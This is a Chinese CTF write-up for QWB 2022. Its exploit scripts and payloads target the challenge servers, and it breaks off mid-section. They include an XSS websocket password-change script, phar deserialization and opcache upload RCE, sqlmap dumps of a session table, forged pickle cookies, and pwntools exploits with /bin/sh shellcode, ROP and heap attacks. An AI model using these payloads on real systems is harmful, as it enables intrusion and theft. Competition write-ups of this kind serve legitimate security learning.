强网杯2022 By W&M
强网杯2022 By W&M
WEB
BabyWeb
第一步 xss让bot访问
<script>
function send(value){
//fetch("/data?data=" + encodeURIComponent(ev.data));
window.location.href=value
}
var host = "127.0.0.1:8888";
var ws = null;
var url = "ws://" + host + "/bot";
ws = new WebSocket(url);
ws.onopen = function (event) {
//send("/ws_open_successfully")
var msg = "changepw 114514"
ws.send(msg);
}
ws.onmessage = function (ev) {
send("/data?data=" + encodeURIComponent(ev.data));
};
ws.onerror = function () {
send("/ws_error");
console.log("connection error");
};
ws.onclose = function () {
send("/ws_close");
console.log("connection close!");
};
</script>
admin 114514登录进入第二步
得到附件 是部分源码漏洞点是json拼接 直接把post的body减去第一个字符 { 拼上去
data = b'{"secret":"xxxx","money":' + str(money).encode() + b',' + request.get_data()[1:] #secret已打码
{"product":[],"product":[{"id":1,"num":1},{"id":2,"num":1}]}
json中的同名key flask request.get_json()会认最后一个 golang json parser 会认第一个所以python部分认为购买了flag但是golang部分认为没有扣费
easyweb
必须存在demo.jpg。然后读文件
GET /showfile.php?f=php://filter/read=demo.jpg/resource=index.php HTTP/1.1
Host: 47.104.95.124:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
然后phar反序列化。
<?php
class AdminShow
{
public $source;
public $str;
public $filter;
public function __construct($a)
{
$this->source = $a;
}
}
unlink("phar.phar");
$phar = new \Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new AdminShow($argv[1]));
$phar->addFromString("demo.jpg", "test");
$phar->stopBuffering();
import requests
import re
import base64
import os
import sys
os.system("php phar.php '"+sys.argv[1]+"'")
Res = requests.post(url="http://47.104.95.124:8080/upload.php",
files={"file": ("1.jpg", open("phar.phar", "rb").read())},
data={"PHP_SESSION_UPLOAD_PROGRESS": "1"},
headers={"Cookie": "PHPSESSID=its8c9s0lm61qtrl063s4coq63"}).text
fileName = (re.search(("\.\/(.*?)\.jpg"), Res).group(0))
Res2 = requests.get(
url="http://47.104.95.124:8080/showfile.php?f=phar://"+fileName+"/demo.jpg").text
print(base64.b64decode(re.search("base64,(.*?) />", Res2).group(1)))
内网。10.10.10.10
crash
反序列化(原题:webtmp),用V绕过secret字符串过滤
下面这个 放cookies userdata发一遍 会500 不管他
Y19fbWFpbl9fCmFkbWluCnAwCihkcDEKVnNlY3JlXHUwMDc0CnAyClMnMTE0NTE0JwpwMwpzYi4=
然后带下面这个可以进入下一步
Cookie: userdata=gAJjYXBwClVzZXIKcQApgXEBfXECKFgIAAAAdXNlcm5hbWVxA1gFAAAAYWRtaW5xBFgFAAAAdG9rZW5xBYoI0iKe6WrPyhV1Yi4=; session=eyJwYXNzd29yZCI6IjExNDUxNCJ9.YuToTw.QR8LKy6fmmk1IyDIrbuJnV4hWcs
随便填点啥 让他504就行
easylogin
wpscan
POST /wp-admin/admin-ajax.php HTTP/1.1
Host:47.105.52.19
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,mg;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 223
action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=1&query_vars[tax_query][1][field]=term_taxonomy_id
sqlmap -r 1.txt --dbms=mysql -dbs -p 'query_vars[tax_query][1][terms][1]' -D moodle -T mdl_sessions --dump
用dump下来的数据库session登录8888
然后后台插件上传rce
https://github.com/HoangKien1020/Moodle_RCE
uploadpro
uploads../ 目录穿越 发现opcache
http://redteam.today/2018/04/08/opcache%E7%BC%93%E5%AD%98getshell/
拿到源码以后 控制上传路径
http://eci-2ze8a4gwu348xfwqa28e.cloudeci1.ichunqiu.com?prefix=../tmp/opcache/a06090313e406ccd069625aabb3cded7/var/www/html/
先把index.php.bin下下来 拿到时间戳和system_id 然后造一个phpinfo.php.bin上传
然后访问phpinfo.php就行了
Crypto
myJWT
from pwn import *
import time
import base64
ip = "47.104.76.78"
port = 23334
sh = remote(ip, port)
context.log_level = 'debug'
sh.recvuntil("your name:")
sh.sendline("1")
sh.recvuntil("hello 1, let's start your challenge.")
sh.recvuntil("1.generate token")
sh.recvuntil("2.getflag")
sh.recvuntil(">")
sh.sendline("1")
res = sh.recv(200).decode().split(".")
print(base64.b64decode(res[1].encode("utf-8")))
sh.recvuntil("1.generate token")
sh.recvuntil("2.getflag")
sh.recvuntil(">")
sh.sendline("2")
# sh.sendline()
sh.recvuntil("your token:")
time = int(round(time.time() * 1000)+10000)
str = '{"iss":"qwb","name":"1","admin":true,"exp":'+ str(time) + '}'
print(str)
payload = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.' + base64.b64encode(str.encode("utf-8")).decode() + '.AAA='
sh.sendline(payload)
sh.recvline()
强网先锋
ASR
yafu硬分解 分别对四个因子开三次根 然后CRT起来
from Crypto.Util.number import *
from functools import reduce
n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
e = 3
c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
p1 = 260594583349478633632570848336184053653
p2 = 225933944608558304529179430753170813347
p3 = 218566259296037866647273372633238739089
p4 = 223213222467584072959434495118689164399
assert (p1*p2*p3*p4) ** 2 == n
ans1 = [127287570627900634195349274487282947698]
ans2 = [97828969479259149226856141068289169207, 84132055525449472521332928867042183796, 43972919603849682780990360817839460344]
ans3 = [5366126490251257564421634982763999075, 54017009972585088360569997378772209006, 159183122833201520722281740271702531008]
ans4 = [61230132932186378005663689217798805559]
def CRT(a, m):
Num=len(m)
M=reduce(lambda x,y: x*y, m)
Mi=[M//i for i in m]
t=[inverse(Mi[i], m[i]) for i in range(Num)]
x=0
for i in range(Num):
x+=a[i]*t[i]*Mi[i]
return x%M
for a in ans1:
for b in ans2:
for c in ans3:
for d in ans4:
m = CRT([a, b, c, d],[p1, p2, p3, p4])
flag = long_to_bytes(m)
if flag.startswith(b'flag'):
print(flag)
break
polydiv
from poly2 import *
from pwn import *
import hashlib
sh = remote("123.56.86.227", 14824)
context.log_level = 'debug'
table = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
def passpow():
rev = sh.recvuntil("XXXX+")
suffix = sh.recv(16).decode()
sh.recvuntil(" == ")
res = sh.recv(64).decode()
def f(x):
hashresult = hashlib.sha256((x+suffix).encode()).hexdigest()
if hashresult == res:
return 1
else:
return 0
prefix = util.iters.mbruteforce(f,table,4,'upto')
sh.recvuntil("XXXX:")
sh.sendline(str(prefix))
def poly_to_int(fuc):
res = 0
data = fuc.split(b" + ")
for i in data:
if i == b'1':
res += 1
elif i == b'x':
res += 2
else:
res += 1 << int(i[2:])
return res
passpow()
for i in range(40):
sh.recvuntil("r(x) = ")
polyr = sh.recvline(False)
r = poly_to_int(polyr)
sh.recvuntil("a(x) = ")
polya = sh.recvline(False)
a = poly_to_int(polya)
sh.recvuntil("c(x) = ")
polyc = sh.recvline(False)
c = poly_to_int(polyc)
base, b = r ^ c, 0
while base != 0:
cnt = len(bin(base)[2:]) - len(bin(a)[2:])
base ^= a << cnt
b += 1 << cnt
polyb = str(Polynomial2(bin(b)[2:]))
sh.sendline(polyb)
sh.interactive()
devnull
两个分支,thanks的分支存在栈溢出,正常运行因为fd是/dev/null进不去,但是上面的fgets可把覆盖为0。第一次read栈溢出,覆盖返回地址为leave ret同时覆盖buf指针为0x3fe560,第二次read在0x3fe560写入rop链,利用0x401350可以控制rax,0x4012d0通过rax设置mprotect参数并调用mprotect,由于之前打印了thanks\n,rdx为7,可以调用mprotect把任意地址设置为可读可写可执行。把0x3fe560所在段设置为可执行,写入rop链同时写入shellcode,执行shellcode。由于thanks分支关闭了stdout,getshell后应把flag重定位到stderr。
from pwn import *
# r = process("./devnull")
r = remote('47.94.166.51',41779)
context.log_level = 'debug'
context.arch = 'amd64'
leave_ret = 0x401354
shit = 0x3FE560
fuck_protect = 0x4012D0
magic = 0x401350
#0x0000000000401350 : mov rax, qword ptr [rbp - 0x18] ; leave ; ret
shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
payload = 'a' * 0x20+'a'*(0x1c-0x8)+p64(shit-0x10)+p64(shit)+p64(leave_ret)
pause()
r.sendafter("please input your filename",payload)
patload = p64(0x3fe000)*2+p64(shit+0x8) + p64(0x401350)+p64(fuck_protect)+p64(0xdeadbeef)+p64(0x3fe588)+shellcode
r.send(patload)
#cat flag >&2
WP-UM
注册用户。然后源码中有个插件能爆破文件名然后爆破出密码。后台RCE然后藏usr下还是哪有个flag
rcefile
www.zip源码泄露
传inc配合 autoloadcookie给个反序列化字符串
PWN
qwarmup
# encoding: utf-8
from pwn import *
elf = None
libc = ELF('/lib/x86_64-linux-gnu/libc.sb.6')
file_name = "./qwarmup"
# context.timeout = 1
elf = ELF('./qwarmup')
#sh = process(file_name)
context.arch = "amd64"
ld = ELF("/home/wjh/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/ld-linux-x86-64.so.2")
#ld = ELF("/lib64/ld-linux-x86-64.so.2")
class link_map:
DT_JMPREL = 23
DT_SYMTAB = 6
DT_STRTAB = 5
DT_VER = 50
DT_FINI = 13
DT_PLTGOT = 3
DT_FINI_ARRAY = 26
DT_FINI_ARRAYSZ = 28
def __init__(self, offset):
self.offset = offset
def l_addr(self):
return ld.address + self.offset
def l_info(self, tag):
return ld.address + self.offset + 0x40 + tag * 8
def l_init_called(self):
return self.l_addr() + 0x31C
#return self.l_addr() + 0xdcc
class rtld_global:
def __init__(self, offset):
self.offset = offset
def _base(self):
return self.offset
def _dl_load_lock(self):
#return self.offset + 0x988
#return self.offset + 0x908
return self.offset + 0xa08
def _dl_stack_used(self):
return self.offset + 0x988
def _dl_rtld_map(self):
return self.offset + 0xA08
class io_obj:
def __init__(self, offset):
self.offset = offset
def _flags(self):
return self.offset
def _IO_save_end(self):
return self.offset + 0x58
elf64_sym = struct.Struct("<LBBHQQ")
elf64_rela = struct.Struct("<QQq")
# ld.address = 0x42e000 - 0x10
def set_rela_table(table):
write(
ld.symbols["_r_debug"],
table,
)
# set reloc table to _r_debug
write(binary_map.l_info(link_map.DT_JMPREL), p8(0xB8))
def set_sym_table(table):
write(ld.symbols["_r_debug"] + elf64_sym.size * 3, table)
write(binary_map.l_info(link_map.DT_SYMTAB), p8(0xB8))
def write(offset, bytes):
for i, byte in enumerate(bytes):
sh.send(p64(offset + i, signed=True))
sh.send(byte)
def restore_rela_table():
write(binary_map.l_info(link_map.DT_JMPREL), p8(0xF8))
def restore_sym_table():
write(binary_map.l_info(link_map.DT_SYMTAB), p8(0x88))
def gmf_size(offset):
return (offset - libc.symbols["main_arena"] + 0x8) * 2 - 0x10
# implements house of blindness to call a function
def call_fn(fn, arg=""):
global libc_base
write(
binary_map.l_addr(),
p64(fn - ld.symbols["_r_debug"], signed=True),
)
write(_rtld_global._dl_load_lock(), arg)
#gdb.attach(sh, "dir ~/glibc/glibc-2.35/\n b _dl_fini")
write(binary_map.l_init_called(), p8(0xFF))
def malloc(size):
assert size % 2 == 0
old_size = int((size - 100) / 2)
file = FileStructure()
file._IO_buf_end = old_size
file._IO_write_ptr = old_size + 1
file._IO_read_ptr = 0xFFFFFFFFFFFFFFFF
file._IO_read_end = 0xFFFFFFFFFFFFFFFF
log.hexdump(bytes(file)[:0x48])
call_fn(libc.symbols["_IO_str_overflow"], bytes(file)[:0x48])
raw_input()
# make sure __rtld_mutex_unlock goes without a hitch by setting invalid _kind
write(_rtld_global._dl_load_lock() + 0x10, p8(0xFF))
return size
def free():
call_fn(libc.symbols["_IO_str_finish"])
def page_boundary(size):
return (size + 0x1000) >> 12 << 12
# global_max_fast ow implementation
page_mem_alloc = 0
def ptr_write(offset):
global page_mem_alloc
# use global_max_fast attack to overwrite
write(offset, p64(0))
size = gmf_size(offset)
log.success(hex(offset))
log.success(hex(size))
A = malloc(size)
write(libc.symbols["global_max_fast"], p64(0xFFFFFFFFFFFFFFFF))
# write chunk header
write(-page_boundary(A) - 8 - page_mem_alloc, p64(size | 1))
# write fake chunk header for next check
write(-page_boundary(A) + size - 0x8 - page_mem_alloc, p8(0x50))
page_mem_alloc += page_boundary(A)
# write fastbin addr
free()
write(libc.symbols["global_max_fast"], p64(0))
return -page_mem_alloc
context.log_level = "debug"
ld.symbols["_GLOBAL_OFFSET_TABLE_"] = ld.address + 0x3a000
ld.symbols["_dl_fini"] = ld.address + 0x6040
libc.symbols["main_arena"] = libc.address + 0x219c80
libc.symbols["global_max_fast"] = libc.address + 0x220500
libc.symbols["_IO_str_finish"] = libc.address + 0x8f9f0
libc.symbols["_IO_str_overflow"] = libc.address + 0x8f610
#sh = process('./qwarmup')
#gdb.attach(sh, "b puts")
#gdb.attach(sh)
sh = remote('121.40.213.105', 12001)
#ld.address = 0x445000 - 0x10
ld.address = 0x42e000 - 0x10
libc.address = 0x204000 - 0x10
# binary_map = link_map(0x3b2e0)
binary_map = link_map(0x3b2e0)
ld_map = link_map(0x3aaf0)
_rtld_global = rtld_global(ld.symbols["_rtld_global"])
sh.send(p32(0x200000))
l_addr_offset = 0x000000000000408C - elf.got["write"] - 4
write(binary_map.l_addr(), p8(l_addr_offset))
set_rela_table(elf64_rela.pack(0x4018, 0x300000007, 0))
main_addr = 0x0000000000001474
set_sym_table(elf64_sym.pack(0, 0x12, 1, 0, main_addr - l_addr_offset, 0))
write(binary_map.l_info(link_map.DT_VER), p64(0))
restore_sym_table()
restore_rela_table()
write(binary_map.l_init_called(), p8(0))
write(
ld.symbols["_GLOBAL_OFFSET_TABLE_"] + elf64_sym.size * 14,
# elf64_sym.pack(0x166, 0x12, 0x0, 0xD, ld.symbols["_dl_fini"] - ld.address, 0xC),
elf64_sym.pack(0x1B7, 0x12, 0x0, 0xD, ld.symbols["_dl_fini"] - ld.address, 0xC),
)
# write(ld_map.l_info(link_map.DT_SYMTAB), p8(0xE0))
write(ld_map.l_info(link_map.DT_SYMTAB), p8(0xF0))
# write(ld.symbols["_r_debug"] + 0x4B, b"_dl_x86_get_cpu_features")
write(ld.symbols["_r_debug"] + 34, "_dl_x86_get_cpu_features\x00")
write(binary_map.l_info(link_map.DT_STRTAB), p8(0xB8))
set_rela_table(elf64_rela.pack(elf.got["write"] - l_addr_offset, 0x300000007, 0))
restore_rela_table()
# ----------- house of blindness setup -----------
write(binary_map.l_addr(), p8(0))
# DT_FINI should point at _r_debug
write(binary_map.l_info(link_map.DT_FINI), p8(0xB8))
# make sure DT_FINI_ARRAY doesn't execute
write(binary_map.l_info(link_map.DT_FINI_ARRAY), p64(0))
# make sure __rtld_mutex_unlock gives up by setting invalid _kind
write(_rtld_global._dl_load_lock() + 0x10, p8(0xFF))
# ----------- fake linkmap for _dl_fixup -----------
fake_linkmap = link_map(_rtld_global._dl_load_lock() - ld.address)
call_fn(libc.symbols['puts'], 'a' * 0xa9)
ld_base = u64(sh.recvuntil('\x7F')[-6:].ljust(8, '\x00')) - 0x61
log.success("ld_base:\t" + hex(ld_base))
libc_base = ld_base - ld.address + libc.address
log.success("libc_base:\t" + hex(libc_base))
pop_rdi_addr = libc_base + 0x2a3e5
pop_rsi_addr = libc_base + 0x2be51
pop_rdx_r12_addr = libc_base + 0x11f497
pop_rax_addr = libc_base + 0x45eb0
syscall_addr = libc_base + 0x91396
gadget_addr = 0x1675b0 # mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
free_hook_addr = libc_base + 0x2204a8
malloc_hook_addr = libc_base + 0x2204a0
system_addr = libc_base + 0x50d60
bin_sh_addr = libc_base + 0x1d8698
setcontext_addr = libc_base + 0x53a30
ld_base = libc_base - libc.address + ld.address
log.success("ld_base:\t" + hex(ld_base))
frame_offset = 0
fake_frame_addr = libc_base + 0x21b000 + 0xa80 + frame_offset
frame = SigreturnFrame()
frame.rdi = fake_frame_addr + 0xF8
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi_addr + 1 # : ret
rop_data = [
pop_rax_addr,
2,
syscall_addr,
pop_rax_addr,
0,
pop_rdi_addr,
3,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr,
pop_rax_addr,
1,
pop_rdi_addr,
1,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr
]
payload = 'a' * 8 + p64(fake_frame_addr) + '\x00' * (0x10 + frame_offset)
payload += p64(setcontext_addr + 61) + str(frame).ljust(0xF8, '\x00')[0x28:] + 'flag'.ljust(0x10, '\x00') + flat(rop_data)
log.success("gadget_addr:\t" + hex(gadget_addr))
write(
binary_map.l_addr(),
p64(0),
)
#gdb.attach(sh)
libc_write = libc.address + 0x219000
libc_write_real = libc_base + 0x219000
libc.address = libc_base
write(binary_map.l_info(link_map.DT_FINI_ARRAY), p64(libc_write_real))
write(libc_write, p64(0) + p64(libc_write_real + 0x10) + p64(libc_base + gadget_addr) + p64(libc.symbols['gets']) * 2 + p64(0x18))
write(binary_map.l_info(link_map.DT_FINI_ARRAYSZ), p64(libc_write_real + 0x20))
write(binary_map.l_init_called(), p8(0xFF))
sh.sendline('a' * 0x1000)
sh.sendline(payload)
#call_fn(libc.address + gadget_addr, payload)
sh.interactive()
house of cat
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
context.log_level = 'debug'
binary = 'house_of_cat'
elf = ELF('house_of_cat')
libc = elf.libc
context.binary = binary
if(len(sys.argv) == 3):
p = remote(sys.argv[1],sys.argv[2])
else:
p = process(binary)
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
rl = lambda : p.recv()
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
payload = "LOGIN |r00tQWXF r00t QWB QWXFadmin"
p.recv()
p.send(payload)
def start_menu():
payload = "CAT |r00tQWXF r00t QWB QWXF${}".format(p8(0xff))
p.recv()
p.send(payload)
def cmd(idx):
start_menu()
sla("choice:",str(idx))
def add(idx,size,payload):
cmd(1)
sla("idx:",str(idx))
sla("size:",str(size))
sa("content:",payload)
def show(idx):
cmd(3)
sla("idx:",str(idx))
def free(idx):
cmd(2)
sla("idx:",str(idx))
def edit(idx,payload):
cmd(4)
sla('idx:',str(idx))
sa("content:",payload)
add(0,0x440,'aaaa')
add(1,0x418,'aaaa')
add(2,0x468,'aaaa')
add(3,0x440,"flag\x00\x00\x00\x00"+ p64(0x21)*(0x438/0x8))
free(1)
free(2)
show(1)
# attach(p)
libc_base = l64() - 0x219ce0
lg("libc_base",libc_base)
printf_arginfo_table = libc_base + 0x21a8b0
printf_function_table = libc_base + 0x21b9c8
top_chunk_addr = libc_base + 0x219ce0
add(4,0x440,'a'*0x410+p64(0) + p64(0x461))
add(0x5,0x430,p64(0)*(0x350/0x8) +p64(0x1234) + p64(0x2222)+ p64(0x21)*((0x430-0x360)/0x8))
free(0)
free(2)
# free(4)
show(2)
ru("text:\n")
heap_addr = u64(p.recv(6).ljust(8,'\x00')) - 0x290
lg("heap_addr",heap_addr)
key = heap_addr >> 12
# libc_base = l64() - 0x1f2cc0
add(0x6,0x430,'aaaa')
free(4)
add(0x7,0x440,"a"*0x410 + p64(0) + p64(0x461) + p64(0)*3 + p64(printf_function_table-0x20))
free(0)
add(0x8,0x430,"aaa")
free(4)
add(0x9,0x440,"a"*0x410 + p64(0) + p64(0x461) + p64(0)*3 + p64(printf_arginfo_table-0x20))
free(0)
add(10,0x430,"aaa")
free(4)
add(11,0x440,"a"*0x410 + p64(0) + p64(0x461) + p64(0)*3 + p64(libc_base + libc.sym["_IO_2_1_stderr_"] + 96+0x8-0x20))
free(0)
add(12,0x430,"aaa")
free(4)
add(14,0x440,"a"*0x410 + p64(0) + p64(0x461) + p64(0)*3 + p64(top_chunk_addr-0x20))
free(0)
free(5)
# # payload = p64(heap_addr+0x10)#io_buf_base
payload = p64(heap_addr+0x10+0x1e6)#io_buf_end
payload += p64(0x21)*4 #size
payload += p64(heap_addr+0xb00+0xe0) #_chain
payload += p64(0x0000000000000002)+p64(0xffffffffffffffff)
payload += p64(0)
payload += p64(0x1f5720 + libc_base)
payload += p64(0xffffffffffffffff)
payload += p64(0)
payload += p64(0x1f2880 + libc_base)
payload += p64(0)*6
payload += p64(0x1234+ libc_base)
payload += p64(0)*5
payload += p64(heap_addr+0xb00)+p64(0) #io_write_ptr
payload += p64(heap_addr+0x10)#io_buf_base
payload += p64(heap_addr + 0x10 + 0x1e)#io_buf_end
payload += p64(0x21)*4
payload += p64(heap_addr+0xb00+0xe0*2) #_chain
payload += p64(0x0000000000000002)+p64(0xffffffffffffffff)
payload += p64(0)
payload += p64(0x1f5720 + libc_base)
payload += p64(0xffffffffffffffff)
payload += p64(0)
payload += p64(0x1f2880 + libc_base)
payload += p64(0)*6
payload += p64(0x1234+ libc_base)
gadget = libc_base + 0x00000000000832e7
pop_rdi = 0x000000000002a3e5 + libc_base
pop_rsi = 0x000000000002be51 + libc_base
pop_rdx_r12 = 0x000000000011f497 + libc_base
pop_rax = 0x0000000000045eb0 + libc_base
syscall = 0x0000000000091396 + libc_base
add(15,0x430,payload.ljust(0x358,"a") + p64(libc_base+libc.sym['gets'])+p64(gadget)*2 +p64(0x31)*((0x430-0x360)/0x8))
edit(2,p64(0)*3 + p64(0)*2 + p64(0xb1))
free(15)
edit(2,p64(0)*3 + p64(heap_addr+0xb00) + p64(0) + p64(heap_addr+0x10))
# attach(p)
cmd(1)
sla("idx:",str(13))
sla("size:",str(0x46f))
rop = p64(pop_rdi)
rop += p64(0)
rop += p64(pop_rax)
rop += p64(3)
rop += p64(syscall)
rop += p64(pop_rdi)
rop += p64(heap_addr+0xf80)
rop += p64(pop_rsi)
rop += p64(0)
rop += p64(pop_rax)
rop += p64(2)
rop += p64(syscall)
rop += p64(pop_rdi)
rop += p64(0)
rop += p64(pop_rsi)
rop += p64(heap_addr+0x200)
rop += p64(pop_rdx_r12)
rop += p64(0x50)
rop += p64(0x50)
rop += p64(pop_rax)
rop += p64(0)
rop += p64(syscall)
rop += p64(pop_rdi)
rop += p64(1)
rop += p64(pop_rsi)
rop += p64(heap_addr+0x200)
rop += p64(pop_rdx_r12)
rop += p64(0x50)
rop += p64(0x50)
rop += p64(pop_rax)
rop += p64(1)
rop += p64(syscall)
p.sendline("a"*(432-0x30) + rop)
# attach(p)
p.interactive()
#__vfprintf_internal
easychain1
先编译一份jerryscript,通过bindiff来看看哪里是漏洞。
git reset --hard 0d496966
python tools/build.py --build-type=RelWithDebug --strip=off
Bug在ecma_builtin_array_prototype_object_pop
然后在网上搜了一下相关的漏洞和CTF,找到一片writeup,基本上和这题一模一样,https://www.anquanke.com/post/id/259897#h2-5。通过如下的poc即可构造出一个长度为-1的数组。
a = [1];
a.pop();
print(a.length);
那么照着这篇writeup的内容,通过oob不难构造出aar和aaw。值得注意的是在调试过程中,由于调用函数和创建变量都会导致堆布局发生改变,而后oob数组和两个dataview的偏移发生改变,所以需要非常耐心的调试。
这里提供一下我是怎么做调试的,在这两个地方下断点(符号是通过bindiff对照的):
a5ae2: jerryx_print_value
710ab: ecma_builtin_array_prototype_object_pop
第一个断点会在调用print()
时触发,作为这里的"SystemBreak
"使用,辅助调试。第二个断点则是确定oob数组的地址所用,在第二个断点触发时,用p/x $rdi+0x10
来获取oob数组的地址。
let a = [0x31];
a1 = new ArrayBuffer(0x1000);
d1 = new DataView(a1);
d1.setUint32(0, 0x41414141, true);
a2 = new ArrayBuffer(0x1000);
d2 = new DataView(a2);
d2.setUint32(0, 0x42424242, true);
a.pop();
a[0x2c] = 0x5562526;
接着,我们设置a1和a2的值分别为"AAAA"和"BBBB",这样在a.pop()
时,我们可以用gdb做
search --string "AAAA" # 返回一个值
search --qword 刚才这个值
这样就可以获取到dv->buffer_p
的地址,接着再去计算和oob数组开头的偏移。
除了这部分调试比较麻烦,构造aar和aaw就比较简单了:先把d1的array_p指针指向d2的array_p地址,就可以修改d2->array_p
。通过修改这个值,则可以用d2来读取和写入值。有了AAR和AAW(其实AAR也不是必要的,因为aslr被关掉了),想劫持程序流就很简单了,这里我用的是泄漏environ
然后做ROP。
还有一点需要注意的是exp的最后一行,由于这里我使用的是ROP,修改libc_start_main
的地址,所以程序需要先正常的退出。而因为我们之前修改了d2->array_p
的值,因此d2在被销毁的时候会对其ArrayBuffer做一个操作,向一个地址写值。如果这个地址是一个不可写的段,那就会报错,没法正确的执行到libc_start_main
的返回地址。我也没有细究,只需要最后把d2->array_p
恢复成一个可写的地址即可。
完整exp如下,在交互时需要把\n
去掉,还有注释也要去掉。
function hex(i){return "0x" + i.toString(16).padStart(16, '0');}
function aar(addr, dv1, dv2){
dv1.setBigUint64(0, addr, true);
if(dv2.buffer){
return dv2.getBigUint64(0, true);
}
return 0;
}
function aaw(addr, value, dv1, dv2){
dv1.setBigUint64(0, addr, true);
dv2.setBigUint64(0, value, true);
}
let a = [0x31];
a1 = new ArrayBuffer(0x1000);
d1 = new DataView(a1);
d1.setUint32(0, 0x41414141, true);
a2 = new ArrayBuffer(0x1000);
d2 = new DataView(a2);
d2.setUint32(0, 0x42424242, true);
a.pop();
a[0x2c] = 0x5562526;
puts_got = Number(aar(0x555555621e08, d1, d2));
libc_base = puts_got - 0x84420;
environ = libc_base + 0x1ef600;
stack = Number(aar(environ, d1, d2));
libc_start_main_ret = stack - 0x108;
libc_start_main = Number(aar(libc_start_main_ret, d1, d2));
aaw(libc_start_main_ret, 0x555555554000 + 0xa9a9, d1, d2); // pop r12, rbp
aaw(libc_start_main_ret + 8, 0, d1, d2);
aaw(libc_start_main_ret + 16, 0, d1, d2);
aaw(libc_start_main_ret + 24, libc_base + 0xe3afe, d1, d2); // one_gadget
print(hex(puts_got));
print(hex(libc_base));
print(hex(stack));
print(hex(libc_start_main));
print(hex(Number(aar(0x555555624000, d1, d2))));
MISC
签到
问卷
谍影重重
前半部分众所周知不发了
爆破获得时间戳获得base64编码的doc,解码出来分析
获得word后直接后vt导入扫描
把api.ipify.org加密md5即可解压,获得flag文件
根据描述为gob文件,搜索了一下,gob是golang的二进制序列号数据包,了解结构后可知直接把后面的PNG FILE复制到单独hex,根据提示,说是随机内容,并且flag文件并存在一个时间,猜测是时间戳为seed进行反向shuffle随机运算
随机后的文件提取后如下:
反向shuffle随机运算脚本如下:
package main
import (
"io/ioutil"
"log"
"math/rand"
"os"
)
func main() {
var attr []int
var attr2 []byte
content, err := os.ReadFile("1.png")
if err != nil {
log.Fatal(err)
}
// fmt.Println(content[1])
rand.Seed(1658213396)
//rand.shuffle逆运算
for i := 0; i < len(content); i++ {
attr = append(attr, i)
attr2 = append(attr2, content[i])
}
// fmt.Println(attr)
rand.Shuffle(len(attr), func(i, j int) {
attr[i], attr[j] = attr[j], attr[i]
})
// fmt.Println(attr)
// k := 0
for key, v := range attr {
attr2[v] = content[key]
}
// fmt.Println(attr2)
//写入attr2
err = ioutil.WriteFile("ffffff.png", attr2, 0644)
}
解密后获得图片
看了一圈没什么东西,直接读像素值发现透明度比较可疑,写脚本导出获得falg
from operator import length_hint
from PIL import Image
im=Image.open('flag.png')
#读取图片像素
length = im.size[0]
width = im.size[1]
print(length,width)
for i in range(width):
for j in range(length):
im.getpixel((j,i))
if im.getpixel((j,i)) == (255,255,255,255):
continue
else:
pixel = im.getpixel((j,i))
if pixel[3] ==255:
continue
print(chr(pixel[3]),end='')
Reverse
easyapk
把so丢给IDA分析,貌似有很多无效操作的花指令,不过对F5影响不是很大,稍微调试一下就知道关键代码了。算法有两部分,首先是rot13
v131 = *v181;
v132 = *(unsigned __int8 *)(*v181 + v97);
v133 = v132 >= 0x41;
if ( v132 >= 0x41 )
v133 = v132 - 91 >= 6;
if ( v133 && v132 <= 'z' )
{
v134 = v132 > 0x60;
v135 = 'A';
v136 = -39;
if ( v134 )
v135 = 'a';
*(_DWORD *)v123 = v135;
if ( v134 )
v136 = -71;
sub_1A70(
(*(unsigned __int8 *)(v131 + v97) | 0xFFFFFFF2)
- (*(_BYTE *)(v131 + v97) & 0xF2)
+ 2 * (*(unsigned __int8 *)(v131 + v97) | 0xD)// rot13
+ 1,
v136 + 2 * v135);
v137 = v181;
*(_BYTE *)(v131 + v97) = v138;
v97 = *(_DWORD *)v129;
v139 = *v137;
v140 = *(unsigned __int8 *)(v139 + *(_DWORD *)v129);
if ( v140 <= 0x19 )
{
